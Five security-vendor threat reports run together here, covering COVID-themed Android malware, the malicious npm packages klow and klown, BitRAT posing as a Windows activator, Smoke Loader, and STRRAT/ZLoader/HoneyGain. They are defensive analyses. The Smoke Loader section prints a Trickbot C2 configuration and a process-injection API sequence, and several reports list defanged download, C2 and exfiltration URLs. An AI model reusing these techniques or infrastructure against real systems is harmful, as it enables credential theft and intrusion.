# Android Apps and Malware Capitalize on Coronavirus As new developments regarding the coronavirus outbreak emerge, Android developers (malware developers included) have started capitalizing on the topic. Bitdefender researchers have recently analyzed Android telemetry from Google Play and other third-party marketplaces regarding coronavirus-themed legitimate apps and malware in Europe, finding huge spikes in application scans containing “covid” or “corona” in the package name or file path — with over 2,100 scans during the first two weeks of March alone. The United States peaked at about 500 and Asia at about 1,000 applications scanned in March, containing the two keywords. Interestingly, Bitdefender telemetry also shows that Android users have been more interested in downloading and installing medical applications from Google Play. For example, during the first two weeks of March, the number of scanned applications from the medical category increased more than 35 percent compared to February. These numbers show that, as the novel coronavirus outbreak increased in severity throughout Europe and worldwide, the public sought out applications that provided information on procedures for avoiding infection, updates regarding COVID-19, and even medical appointment booking services. In terms of analyzing applications from other third-party marketplaces, while some applications have been repacked to include aggressive adware, others have been bundled with banking Trojans, SMS-sending malware, and even the money-siphoning Android malware named Joker Trojan. ## Riding the Coronavirus Wave Many apps contain the “coronavirus” keyword, or derivations of it, in their package name. Some news apps have also pushed an update containing an activity (UI component) dedicated to coronavirus (for example, a world map of confirmed cases). The popularity of medical appointment apps has increased, especially in the last few weeks. One such example is “Zocdoc Find A Doctor & Book On Demand Appointments.” This app registered 867 scans between March 7 and March 16 (roughly 100 per day), out of which 97 percent were in the US. With more than 500,000 installs and 6,850 reviews, this medical appointment app has been highly popular in the United States where people are trying to set up appointments with doctors, potentially to be tested for COVID-19. As of January 1, 2020, we found 579 applications that contain coronavirus-related keywords in their manifest (package name, activities, receivers, etc.). This means that a major component of the application was named in a way – or the application contains strings – that relates it to the recent outbreak. Out of the total, 560 are clean, 9 are Trojans, and 10 are Riskware. The distribution of such apps has increased dramatically from January 1st to March 17th. Most malicious apps found are bundle threats that range from ransomware to SMS-sending malware and even spyware designed to clean out the contents of victims’ devices for personal or financial data. ## Tweaking Content to Gain Google Play Ranking on Coronavirus As soon as the coronavirus pandemic was officially declared, Google started making adjustments to Google Play searches to purposely filter or remove coronavirus apps. For example, searching for keywords like “corona” or “coronavirus” would display no search results in the Apps section. This was in line with a blog post published by Google, explaining how these actions are meant to help offer only relevant information and applications that people in need might require. They even set up a webpage within the Google Play marketplace where only legitimate and relevant applications that offered information about coronavirus or healthcare were displayed, in an attempt to steer users in the right direction. Google likely anticipated a rise in opportunistic applications latching on to this topic of global interest and decided to clamp down on any potential abuse. For instance, some apps have changed their name and description to capitalize on the coronavirus pandemic by including keywords that ensure their apps rank best when people search for coronavirus in Google Play. Some of these changes are skin-deep, in that only the application’s page on Google Play has been updated, and not the app itself. Bubble Shooter Merge (updated February 4th) is just one example where the developer twice updated the name of the application within Google Play to include the “coronavirus” and “stay home” keywords. With these simple changes, apps become more “visible,” taking advantage of the #coronavirus pandemic or the #stayhome challenge, although the app content wasn’t related to COVID-19 in any way. Another example is Galaxy Shooter – Falcon Squad, an arcade game with over 10 million installs. The recent update includes an “Anti Corona Event” in the application’s title that’s visible only to English-speaking countries, potentially to match #corona searches. At the moment, approximately 22 apps that use the “coronavirus” keyword are still online, most of them official and listed under the “Health and Fitness” or “Medical” categories. However, about 280 applications have been removed from Google Play, likely because they infringed policies outlined by Google in terms of abusing the coronavirus pandemic. ## Coronavirus-Themed Bankers, Spyware, and Infostealers Bitdefender researchers also took a look at some of the applications found on various third-party marketplaces or disseminated through phishing campaigns where users were instructed to manually download and install them directly from the attacker-controlled website. As expected, most of these malicious applications leverage the coronavirus pandemic to scare users into installing the apps. Others use variations on coronavirus domains to hide their command and control infrastructure. ### Anubis banker joins in on the corona mischief For the first time, the Anubis banking Trojan has been spotted as part of an Android coronavirus malware campaign. The application imitates a Coronavirus information site and, on installation, asks for accessibility. If given access, it will request various other permissions and accept them by itself. To throw users off track, it takes them to a coronavirus statistics website and then proceeds to hide its icon while, in the background, it continues with an arsenal of functionalities specific to Anubis. Initially, Anubis targeted countries ranging from the US and India to France, Italy, Germany, Australia, and Poland; however, this recent Android version seems to target Turkey, by impersonating the legitimate website to which it redirects users. ### Abusing the infamous Iranian AC19 app One such case abuses the now-famous Iranian corona information application AC19, which stirred up quite a lot of controversy in Iran over fears of spying. This application is installed by its malicious parent, which asks for permissions to allow scanning for the coronavirus, but in fact will ask for sensitive Android application privileges that the malware uses to continue its malicious spying activities. ### Spying and surveillance lot Another malicious spying lot contains the legitimate corona live application (wrapper over the Johns Hopkins coronavirus tracker). While previous reports have covered some of the below-mentioned samples, Bitdefender researchers also found two more Crona named samples, showing that authors are clearly continuing this campaign with no end in sight. The rush to milk the ongoing pandemic is quite high, which seems to make malicious actors prone to error. The central functionality of the app is similar to apps identified with the detection Android.Riskware.HiddenApp.GN, but it has been adapted to contain information regarding the coronavirus, as it represents a major attraction point for Android users while also providing the opportunity to bombard them with popups. ## The Joke(r) is on you It seems the Joker Trojan is also trying to capitalize on the corona outbreak. Although it only tries to hide its CnC using a coronavirus domain variation, the UI of the gaming application remains unchanged. Distributed with the iFun Game, the app is repackaged with the Joker malware, which downloads a payload from the command and control. Additional Trojan Banking malware hijacking coronavirus news includes a banking Trojan designed to act as a RAT (Remote Access Trojan) enabling attackers to gain persistency on the victim’s device while siphoning sensitive information. In some new instances, the authors only bothered to change the application’s name from Coronavirus to CoronaVirus. As people become more aware that they might be targeted with Corona-related scams, malware authors take this into consideration. For instance, while targeting Italian users, malware developers changed the name of the malware to Aggiornamento, which means “Update” in Italian. ## Final Thoughts The Coronavirus pandemic might have everyone running around after information, searching for applications that offer live monitoring or even medical appointments to get tested. It’s always recommended that you install only official apps from official marketplaces and seek information only from official sources. Also, it’s crucial to make sure you have a mobile security solution that can keep you and your device safe from malware and other online threats.
# Newly Found npm Malware Mines Cryptocurrency on Windows, Linux, macOS Devices Update: Following our disclosure of these malicious packages, the legitimate library "ua-parser-js" used by millions was itself found to be compromised. We have released a subsequent blog post covering the "ua-parser-js" compromise. Sonatype’s automated malware detection system has caught multiple malicious packages on the npm registry this month. These packages disguise themselves as legitimate JavaScript libraries but were caught launching cryptominers on Windows, macOS, and Linux machines. The malicious packages are: - okhsa - klow - klown “klow” and “klown” have been tracked under Sonatype-2021-1472, whereas “okhsa” has been cataloged under Sonatype-2021-1473. Different versions of the “okhsa” package largely contain skeleton code that launches the Calculator app on Windows machines pre-installation. Additionally, these versions contain either the “klow” or the “klown” npm package as a dependency—which is malicious. The manifest file, package.json, for “okhsa” shows “klown” listed as a dependency. All of these packages were published by the same author whose account has since been deactivated. The Sonatype security research team discovered that “klown” had emerged within hours of “klow” having been removed by npm. “Klown” falsely touts itself to be a legitimate JavaScript library “UA-Parser-js” to help developers extract the hardware specifics (OS, CPU, browser, engine, etc.) from the “User-Agent” HTTP header. But, Sonatype security researcher Ali ElShakankiry, who analyzed these packages, explains, “Packages ‘klow’ and ‘klown’ contain a cryptocurrency miner. These packages detect the current operating system at the preinstall stage and proceed to run a .bat or .sh script depending on if the user is running Windows or a Unix-based operating system.” “These scripts then download an externally-hosted EXE or a Linux ELF, and execute the binary with arguments specifying the mining pool to use, the wallet to mine cryptocurrency for, and the number of CPU threads to utilize.” One of the Batch scripts found in the “klown” package downloads the “jsextension.exe” from a Russia-based host 185.173.36[.]219. The EXE is a known cryptominer, as previously flagged by VirusTotal. For Linux and macOS installations, an identical Bash script downloads the “jsextension” ELF binary from the same host. It isn’t clear how the author of these packages aims to target developers. There are no obvious signs observed that indicate a case of typosquatting or dependency hijacking. “Klow(n)” does impersonate the legitimate UAParser.js library on the surface, making this attack seem like a weak brandjacking attempt. The Sonatype security research team reported these malicious packages to npm on October 15, 2021, hours after their release, and the packages were taken down the same day by the npm security team. Evolving open source supply-chain attacks warrant advanced protection. Once again, this particular discovery is a further indication that developers are the new target for adversaries over the software they write. Sonatype has been tracing novel brandjacking, typosquatting, and cryptomining malware lurking in software repositories. We’ve also found critical vulnerabilities and next-gen supply-chain attacks, as well as copycat packages targeting well-known tech companies. The good news is, over the past few weeks, our automated malware detection system has caught thousands of suspicious packages on npm. These components are either confirmed malicious, previously known to be malicious, or dependency confusion copycats. We are now expanding our malware detection capabilities via Nexus Intelligence to other ecosystems as well, such as PyPI. All of this takes more than just due diligence and luck – it takes the expertise of experienced security professionals and hundreds of terabytes of data. In order to keep pace with malware mutations, Sonatype analyses every newly-released npm package to keep developers safe. We help you remain proactive and safeguard your software supply chains against up-and-coming attacks. Our AI/ML-powered automated malware detection system (which is part of Nexus Firewall and powered by Nexus Intelligence data), and security research team work together for full-spectrum protection. Nexus determines a likely malicious component based on historical supply chain attacks and over five dozen “signals.” This insight enables flagging for potential new attacks before security researchers discover them. As soon as our system flags a package or a dependency as “suspicious,” it undergoes a quarantine queue for manual review by the Sonatype Security Research Team. Users of Nexus Firewall are then protected from these suspicious packages while the review is underway. Existing components are quarantined before they are pulled “downstream” into a developer’s open source build environment. Moreover, users that have enabled the “Dependency Confusion Policy” feature will get proactive protection from dependency confusion attacks. This works whether conflicting package names exist in a public repository or in your private, internal repos. Sonatype’s world-class security research data, combined with our automated malware detection technology safeguards your developers, customers, and software supply chain from infections. **Tags:** vulnerabilities, featured, Nexus Intelligence Insights Written by Sonatype Security Research Team. Sonatype's Security Research Team is comprised of 65 world-class professionals with 500+ years of experience. The Team is focused on bringing real-time, in-depth intelligence and actionable information about open source and third-party vulnerabilities to Sonatype customers.
# BitRAT Malware Now Spreading as a Windows 10 License Activator A new BitRAT malware distribution campaign is underway, exploiting users looking to activate pirated Windows OS versions for free using unofficial Microsoft license activators. BitRAT is a powerful remote access trojan sold on cybercrime forums and dark web markets for as low as $20 (lifetime access) to any cybercriminal who wants it. Each buyer follows their own approach to malware distribution, ranging from phishing, watering holes, or trojanized software. ## Targeting Pirates with Malware In a new BitRAT malware distribution campaign discovered by researchers at AhnLab, threat actors are distributing the malware as a Windows 10 Pro license activator on webhards. Webhards are online storage services popular in South Korea that have a steady influx of visitors from direct download links posted on social media platforms or Discord. Due to their wide use in the region, threat actors are now more commonly using webhards to distribute malware. The actor behind the new BitRAT campaign appears to be Korean based on some of the Korean characters in the code snippets and the manner of its distribution. To properly use Windows 10, you need to purchase and activate a license with Microsoft. While there are ways to get Windows 10 for free, you still need a valid Windows 7 license to get the free upgrade. Those who do not want to deal with licensing issues or do not have a license to upgrade commonly turn to pirating Windows 10 and using unofficial activators, many of which contain malware. In this campaign, the malicious file promoted as a Windows 10 activator is named 'W10DigitalActivation.exe' and features a simple GUI with a button to "Activate Windows 10." However, instead of activating the Windows license on the host system, the "activator" will download malware from a hardcoded command and control server operated by the threat actors. The fetched payload is BitRAT, installed in %TEMP% as ‘Software_Reporter_Tool.exe’ and added to the Startup folder. The downloader also adds exclusions for Windows Defender to ensure that BitRAT won’t encounter detection issues. Once the malware installation process is completed, the downloader deletes itself from the system leaving behind only BitRAT. ## A Versatile RAT BitRAT is promoted as a powerful, inexpensive, and versatile malware that can snatch a wide range of valuable information from the host, perform DDoS attacks, UAC bypass, etc. BitRAT supports generic keylogging, clipboard monitoring, webcam access, audio recording, credential theft from web browsers, and XMRig coin mining functionality. Additionally, it offers remote control for Windows systems, hidden virtual network computing (hVNC), and reverse proxy through SOCKS4 and SOCKS5 (UDP). On that front, ASEC’s analysts have found strong code similarities with TinyNuke, and its derivative, AveMaria (Warzone). The hidden desktop feature on these RATs is so valuable that some hacking groups, like the Kimsuky, incorporated them in their arsenal just to use the hVNC tool. ## Risk of Piracy Even if the legal and ethical aspects are ignored, using pirated software is always a security gamble. The more tools are used to activate illegally obtained copies of software or crack their intellectual property protection systems, the greater the chances of ending up with a nasty malware infection. Those who can’t afford to purchase a Windows license should look at alternative options instead, such as accepting the limitations of the free version, monitoring for special offers from trustworthy platforms, or using Linux. Ultimately, users should not trust license activators and any unsigned executable authored and released by unknown vendors to run on your system.
# Smoking Guns - Smoke Loader Learned New Tricks This post is authored by Ben Baker and Holger Unterbrink. ## Overview Cisco Talos has been tracking a new version of Smoke Loader — a malicious application that can be used to load other malware — for the past several months following an alert from Cisco Advanced Malware Protection’s (AMP) Exploit Prevention engine. AMP successfully stopped the malware before it was able to infect the host, but further analysis showed some developments in the Smoke Loader sample resulting from this chain of malware that intrigued us. This includes one of the first uses of the PROPagate injection technique in real-world malware. Besides a report released at the end of last week describing a different RIG Exploit Kit-based campaign, we haven’t seen real-world malware using this. Talos is very familiar with Smoke Loader. For example, it was used as a downloader for a cyberattack that was launched using the official website of Ukraine-based accounting software developer Crystal Finance Millennium (CFM) in January. Similar to many other campaigns, the initial infection vector was an email with a malicious Microsoft Word document attached. The victims were tricked into opening the attachment and enabling the embedded macros. This started the malware-downloading chain, down to the final Smoke Loader infection and its plugins. Smoke Loader is primarily used as a downloader to drop and execute additional malware like ransomware or cryptocurrency miners. Actors using Smoke Loader botnets have posted on malware forums attempting to sell third-party payload installs. This sample of Smoke Loader did not transfer any additional executables, suggesting that it may not be as popular as it once was, or it’s only being used for private purposes. The plugins are all designed to steal sensitive information from the victim, specifically targeting stored credentials or sensitive information transferred over a browser — including Windows and Team Viewer credentials, email logins, and others. ## Technical Details ### Infection Chain As mentioned above, the infection chain started with an email and an attached malicious Word document (b98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc). The attached Word document had an embedded macro that initiated the second stage and downloaded the Trickbot malware (0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41). This document downloads and executes the Trickbot malware from hxxp://5[.]149[.]253[.]100/sg3.exe, or hxxp://185[.]117[.]88[.]96/sg3.exe as %TEMP%\[a-zA-Z]{6-9}.exe. These URLs have served up multiple malicious executables in the past, including samples of Trickbot. In our Trickbot cases, the malware finally downloaded the Smoke Loader trojan (b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40), which installed five additional Smoke Loader plugins. We are describing these plugins in detail later in the plugins section of this report. Smoke Loader has often dropped Trickbot as a payload. This sample flips the script, with our telemetry showing this Trickbot sample dropping Smoke Loader. This is likely an example of malware-as-a-service, with botnet operators charging money to install third-party malware on infected computers. We haven’t analyzed the Trickbot sample further, but for your reference, we are providing the Trickbot configuration here (IP addresses redacted with bracketed dots for security reasons): ``` <mcconf> <ver>1000167</ver> <gtag>wrm13</gtag> <srv>185[.]174[.]173[.]34:443</srv> <srv>162[.]247[.]155[.]114:443</srv> <srv>185[.]174[.]173[.]116:443</srv> <srv>185[.]174[.]173[.]241:443</srv> <srv>62[.]109[.]26[.]121:443</srv> <srv>185[.]68[.]93[.]27:443</srv> <srv>137[.]74[.]151[.]148:443</srv> <srv>185[.]223[.]95[.]66:443</srv> <srv>85[.]143[.]221[.]60:443</srv> <srv>195[.]123[.]216[.]115:443</srv> <srv>94[.]103[.]82[.]216:443</srv> <srv>185[.]20[.]187[.]13:443</srv> <srv>185[.]242[.]179[.]118:443</srv> <srv>62[.]109[.]26[.]208:443</srv> <srv>213[.]183[.]51[.]54:443</srv> <srv>62[.]109[.]24[.]176:443</srv> <srv>62[.]109[.]27[.]196:443</srv> <srv>185[.]174[.]174[.]156:443</srv> <srv>37[.]230[.]112[.]146:443</srv> <srv>185[.]174[.]174[.]72:443</srv> </servs> <autorun> <module name="systeminfo" ctl="GetSystemInfo"/> <module name="injectDll"/> </autorun> </mcconf> ``` ### Smoke Loader Packer/Injector Details Malware frequently iterates through process lists to find a process to inject. Security researchers know this process well and have created many tools to track the Windows APIs used in this technique, like CreateToolhelp32Snapshot. This Smoke Loader sample avoids iterating through process lists by calling the Windows API GetShellWindow to get a handle to the shell’s desktop window, then calling GetWindowThreadProcessId to get the process ID of Explorer.exe. Smoke Loader then uses standard injection API to create and write two memory sections in Explorer, one for shellcode and another for a UxSubclassInfo structure to be used later for PROPagate injection. ``` GetShellWindow -> GetWindowThreadProcessId -> NtOpenProcess -> NtCreateSection -> NtMapViewOfSection x2 -> NtUnmapViewOfSection ``` The window handle retrieved from the previous call to GetShellWindow has a second purpose. Smoke Loader uses EnumChildWindows to iterate through each of the handle’s child windows to find one containing the property UxSubclassInfo, which indicates it is vulnerable to PROPagate injection. PROPagate injection was first described by a security researcher in late 2017, though there were no public POCs available when Smoke Loader started using it. The Smoke Loader developers likely used publicly available notes on PROPagate to recreate the technique. For each child window, the injector calls EnumPropsA to iterate through window properties until it finds UxSubclassInfo. This function also showcases some of the anti-analysis techniques employed by this sample’s packer. There are several unnecessary jumps for control flow obfuscation, including simple opaque predicates leading to junk code. “Deobf_next_chunk” takes arguments for size and offset for the next chunk of code to deobfuscate and execute, so the bulk of the malicious code is deobfuscated as needed, and can be obfuscated again once the next chunk is loaded. The obfuscation method is a simple one-byte XOR with the same hardcoded value for every piece. These anti-analysis techniques are accompanied by anti-debugging and anti-VM checks, as well as threads dedicated to scanning for processes and windows belonging to analysis tools. These features complicate forensics, runtime AV scanners, tracing, and debugging. Once the shellcode and UxSubclassInfo data are written to the remote process, the injector calls SetPropA to update the property for the window, then sends WM_NOTIFY and WM_PAINT messages to the target window to force it to trigger the malicious event handler that executes the injected shellcode. ### Injected Shellcode: Smoke Loader Smoke Loader received five interesting plugins instead of additional payloads. Each plugin was given its own Explorer.exe process to execute in, and the malware used older techniques to inject each plugin into these processes. Each Explorer.exe process is created with the option CREATE_SUSPENDED, the shellcode is injected, then executed using ResumeThread. This is noisy and leaves six Explorer.exe processes running on the infected machine. ## Plugins As mentioned above, the plugins are all designed to steal sensitive information from the victim, explicitly targeting stored credentials or sensitive information transferred over a browser. Each plugin uses the mutex "opera_shared_counter" to ensure multiple plugins don’t inject code into the same process at the same time. **Plugin 1:** - This is the largest plugin with approximately 2,000 functions. It contains a statically linked SQLite library for reading local database files. - It targets stored info for Firefox, Internet Explorer, Chrome, Opera, QQ Browser, Outlook, and Thunderbird. - Recursively searches for files named logins.json which it parses for hostname, encryptedUsername, and encryptedPassword. - vaultcli.dll - Windows Credential Manager - POP3, SMTP, IMAP Credentials **Plugin 2:** - This plugin recursively searches through directories looking for files to parse and exfiltrate. - Outlook: *.pst, *.ost - Thunderbird: *.mab, *.msf, inbox, sent, templates, drafts, archives - The Bat!: *.tbb, *.tbn, *.abd **Plugin 3:** - This one injects into browsers to intercept credentials and cookies as they are transferred over HTTP and HTTPS. - If "fgclearcookies" is set, kills browser processes and deletes cookies. - Targets: iexplore.exe, microsoftedgecp.exe, firefox.exe, chrome.exe, opera.exe **Plugin 4:** - This hooks ws2_32!send and ws2_32!WSASend to attempt to steal credentials for ftp, smtp, pop3, and imap. **Plugin 5:** - This one injects code into TeamViewer.exe to steal credentials. ## IOC - B98abdbdb85655c64617bb6515df23062ec184fe88d2d6a898b998276a906ebc (IO08784413.doc) - 0be63a01e2510d161ba9d11e327a55e82dcb5ea07ca1488096dac3e9d4733d41 (Trickbot) - b65806521aa662bff2c655c8a7a3b6c8e598d709e35f3390df880a70c3fded40 (Smoke Loader) - Mutex: opera_shared_counter **Trickbot IPs:** - 185[.]174[.]173[.]34 - 162[.]247[.]155[.]114 - 185[.]174[.]173[.]116 - 185[.]174[.]173[.]241 - 62[.]109[.]26[.]121 - 185[.]68[.]93[.]27 - 137[.]74[.]151[.]148 - 185[.]223[.]95[.]66 - 85[.]143[.]221[.]60 - 195[.]123[.]216[.]115 - 94[.]103[.]82[.]216 - 185[.]20[.]187[.]13 - 185[.]242[.]179[.]118 - 62[.]109[.]26[.]208 - 213[.]183[.]51[.]54 - 62[.]109[.]24[.]176 - 62[.]109[.]27[.]196 - 185[.]174[.]174[.]156 - 37[.]230[.]112[.]146 - 185[.]174[.]174[.]72 **Smoke Loader Domains:** - ukcompany[.]me - ukcompany[.]pw - ukcompany[.]top **Dropped File:** %appdata%\Microsoft\Windows\[a-z]{8}\[a-z]{8}.exe **Scheduled Task:** Opera scheduled Autoupdate [0-9]{1-10} ## Conclusion We have seen that the trojan and botnet market is constantly undergoing changes. The players are continuously improving their quality and techniques. They modify these techniques on an ongoing basis to enhance their capabilities to bypass security tools. This clearly shows how important it is to make sure all our systems are up to date. Organizations can utilize a multi-layered defensive approach to detect and protect against these kinds of threats. Talos continues to monitor these campaigns as they evolve to ensure that defenses protect our customers. We strongly encourage users and organizations to follow recommended security practices, such as installing security patches as they become available, exercising caution when receiving messages from unknown third parties, and ensuring that a robust offline backup solution is in place. These practices will help reduce the threat of a compromise and should aid in the recovery of any such attack. ## Coverage Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as NGFW, NGIPS, and Meraki MX can detect malicious activity associated with this threat. AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.
# STRRAT, ZLoader, and HoneyGain Cybersecurity Awareness Month may be in full swing, but that doesn’t mean that cybercriminals have been taking a break. In fact, the opposite is true – October has seen threats like ZLoader and HoneyGain continue to evolve. Meanwhile, STRRAT has wreaked havoc by enabling bad actors to steal credentials and install additional malware. In today’s Threat Spotlight blog, we break these threats down for you and walk through which Cisco Secure products can help protect your network. ## Threat Name: STRRAT **Threat Type:** RAT **Delivery and Exfiltration:** **Description:** STRRAT is a Java-based Remote Access Tool (RAT) that does not require a pre-installed Java Runtime Environment (JRE). It is mainly distributed through malicious spam (malspam) campaigns. The malware installs RDPWrap, steals credentials, logs keystrokes, and remotely controls Windows systems. It also contains a ransomware module. **STRRAT Spotlight:** STRRAT campaigns utilize malspam as a means of initial access. If a victim opens a weaponized email attachment and enables macros within the document on a vulnerable Windows host, the macro code downloads a zip archive containing a JRE, an encrypted and obfuscated .jar file, and a script to run STRRAT using the JRE from the zip archive. The RAT focuses on stealing passwords via keylogging, as well as stored web browser and email client credentials. It supports the following browsers and email clients: - Firefox - Internet Explorer - Chrome - Foxmail - Outlook - Thunderbird STRRAT also installs RDPWrap, an open-source tool that enables Remote Desktop support on Windows. What’s more, STRRAT contains a ransomware module. Features and commands it supports are similar to other RATs, including the ability to download and execute additional malware. **Target Geolocations:** Austria, Canada, Germany, Spain, UK, USA **Target Data:** User Credentials, Browser Data, Sensitive Information **Target Businesses:** Any **Exploits:** N/A **Mitre Att&ck for STRRAT** - **Initial Access:** Malspam - **Persistence:** Registry Run Keys / Startup Folder, Scheduled Task/Job - **Execution:** Scheduled Task/Job - **Evasion:** Obfuscated Files or Information - **Collection:** Automated Collection, Keylogging - **Command and Control:** Application Layer Protocol: Web Protocol - **Exfiltration:** Exfiltration Over Command and Control Channel **IOCs** **Domains:** - lauzon-ent[.]com - jbfrost[.]liveidgerowner[.]duckdns[.]org - adamridley.co[.]uk - alfredoscafeltd.co[.]uk - bentlyconstbuild.co[.]uk - buildersworlinc.co[.]uk - fillinaresortsltd.co[.]uk - gossyexperience.co[.]uk - jeffersonsandc.co[.]uk - jpfletcherconsultancy.co[.]uk - metroscaffingltg.co[.]uk - pg-finacesolutions.co[.]uk - playerscircleinc.co[.]uk - sivospremiumclub.co[.]uk - tg-cranedinc.co[.]uk - tk-consultancyltd.co[.]uk - westcoasttrustedtaxis.co[.]uk - zincocorporation.co[.]uk - wshsoft[.]company **IPs:** - 54.202.26[.]55 - 104.248.53[.]108 - 37.0.8[.]76 **Additional Information:** STRRAT-Crimson **Which Cisco Products Can Block:** AMP, CWS, Network Security, Secure Network Analytics, Secure Cloud Analytics, Threat Grid, Umbrella, WSA ## Threat Name: ZLoader (Terdot or Zbot) **Threat Type:** Loader **Delivery and Exfiltration:** The ZLoader attack utilizes three methods of infection. **Description:** ZLoader (also known as Terdot and Zbot) is a banking trojan that was first observed in 2016. It is still under active development and many versions have appeared since December 2019. It acts as a backdoor to infected systems and has the ability to download additional malware. It also implements web injection to steal cookies, passwords, and sensitive information. ZLoader targets users of financial institutions and has been used to deliver ransomware from Egregor and Ryuk families. **ZLoader Spotlight:** Recent ZLoader campaigns used multiple initial attack vectors. Among these are the Malsmoke malvertising campaign, phishing campaigns with malspam, and a malvertising campaign abusing advertisements published through Google Adwords. A recent evolution of the infection chain includes dynamic agent creation to download malicious payloads from a remote server. The malware can disable Windows Defender and relies on system binaries and scripts (living-off-the-land, or LOLBAS) in order to evade detection. ZLoader leverages process injection to contact its command and control server using a Domain Generation Algorithm (DGA). Once it identifies a responding domain, optional modules and a possible update to ZLoader is downloaded. **Target Geolocations:** Austria, Canada, Denmark, Germany, Spain, USA **Target Data:** User Credentials, Browser Data, Sensitive Information **Target Businesses:** Any **Exploits:** N/A **Mitre Att&ck for ZLoader** - **Initial Access:** Malspam, Malvertising, Drive-by Compromise - **Persistence:** Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder, Compromise Client Software Binary - **Privilege Escalation:** Abuse Elevation Control Mechanism - **Execution:** Command and Scripting Interpreter: PowerShell - **Evasion:** Process Injection: Thread Execution Hijacking, Signed Binary Proxy Execution, Signed Binary Proxy Execution: Msiexec, Signed Binary Proxy Execution: Rundll32, Impair Defenses: Disable or Modify Tools, Subvert Trust Controls: Code Signing - **Collection:** Man in the Browser - **Command and Control:** Application Layer Protocol: Web Protocols - **Exfiltration:** Exfiltration Over Command and Control Channel **IOCs** **Domains:** - landingmonster[.]online - pornguru[.]online - pornislife[.]online - heavenlygem[.]com - moviehunters[.]site - pornofilmspremium[.]com - websekir[.]com - team-viewer[.]site - zoomvideo[.]site - iqowijsdakm[.]ru - wiewjdmkfjn[.]ru - dksaoidiakjd[.]su - iweuiqjdakjd[.]su - yuidskadjna[.]su - olksmadnbdj[.]su - odsakmdfnbs[.]com - odsakjmdnhsaj[.]com - odjdnhsaj[.]com - odoishsaj[.]com **IPs:** - 194.58.108[.]89 - 195.24.66[.]70 **Additional Information:** Malsmoke Malvertising Campaign, Silent Night Campaign, Google Adwords Malvertising Campaign, New Infection Technique **Which Cisco Products Can Block:** AMP, CWS, Network Security, Secure Network Analytics, Threat Grid, Umbrella, WSA ## Threat Name: HoneyGain **Threat Type:** Potentially Unwanted Application **Delivery and Exfiltration:** **Description:** HoneyGain is legitimate software that can be used to proxy clients’ connections for money. However, due to increased popularity, malicious actors started to distribute Trojanized versions of this software bundled with malicious payload. This packed malware contains a complete set of monetization methods, including a Trojanized version of the HoneyGain proxyware client, an XMRig miner, and an information stealer. The campaign continues to evolve, with the recent deployment of Nanowire client, another proxyware application with similar functionality. **HoneyGain Spotlight:** A variety of different malware families are being distributed under the guise of legitimate installers for applications like HoneyGain. These trojanized installers enable adversaries to distribute threats such as RATs, information stealers, and other malware to victims who believe they are installing legitimate applications. Associated malware was also observed leveraging victims’ CPU resources to mine cryptocurrency, while also monetizing their network bandwidth using proxyware applications. One of the most common techniques observed is the use of legitimate installers as decoy programs included alongside other malicious components. In these attacks, threat actors are distributing malicious executables posing as installers for legitimate proxyware applications like HoneyGain. When executed, they will typically install the legitimate application while silently installing malware. **Target Geolocations:** World-Wide **Target Data:** Browser Data, Sensitive Data **Target Businesses:** Any **Exploits:** N/A **Mitre Att&ck for HoneyGain** - **Persistence:** Scheduled Task/Job, Registry Run Keys / Startup Folder, Windows Service - **Execution:** Scheduled Task, Native API - **Evasion:** N/A - **Collection:** N/A - **Command and Control:** Application Layer Protocol: Web Protocols - **Exfiltration:** Exfiltration Over Command and Control Channel **IOCs** **Domains:** - ariesbee[.]com - bootesbee[.]com - aurigabee[.]xyz - analytics[.]honeygain[.]com - api[.]honeygain[.]com - download[.]honeygain[.]com - www[.]xsvpn[.]cf - terminist-journal[.]000webhostapp[.]com - r[.]honeygain[.]money **URLs:** - hxxps://www.dropbox[.]com/s/vhpmmwns1k9wh33/Honeygain.zip?dl=1 - hxxps://www.dropbox[.]com/s/rfbrftww47y0edv/nanowire.exe?dl=1 - hxxps://www.dropbox[.]com/s/7hy2ausr3rouflp/nanowire.toml?dl=1 - hxxps://www.dropbox[.]com/s/gq3tt6iawri6m3w/user.config?dl=1 - hxxps://www.dropbox[.]com/s/puz02l0l7a4wjmt/beehive.txt?dl=1 - hxxps://www.dropbox[.]com/s/gp7s712krr67kcx/MinerDownloader-1-23-21.txt?dl=1 - hxxps://docs.google[.]com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download - hxxps://www.dropbox[.]com/s/zhp1b06imehwylq/Synaptics.rar?dl=1 - hxxps://www.dropbox[.]com/s/ve1i21h0ubslnkr/xmrig2.txt?dl=1 - hxxps://www.dropbox[.]com/s/h5lge8h8rhw93rh/Stealer%201-23-21.txt?dl=1 - hxxps://www.dropbox[.]com/s/8jyj3a5vw1bwot9/ChromePass.txt?dl=1 - hxxps://www.dropbox[.]com/s/v8x3jnnx15hjz04/WebBrowserPassView.txt?dl=1 - hxxps://r.honeygain[.]money/SAMIBDC7 - hxxps://iplogger[.]org/2jbNj6 - hxxps://iplogger[.]org/2azxA5 - hxxp://www.xsvpn[.]cf/ssr-download/readme.md **Stealer Exfiltration URL:** hxxps://terminist-journal.000webhostapp[.]com/donkeydick.php **Additional Information:** HoneyGain **Which Cisco Products Can Block:** AMP, CWS, Network Security, Secure Network Analytics, Secure Cloud Analytics, Threat Grid, Umbrella, WSA
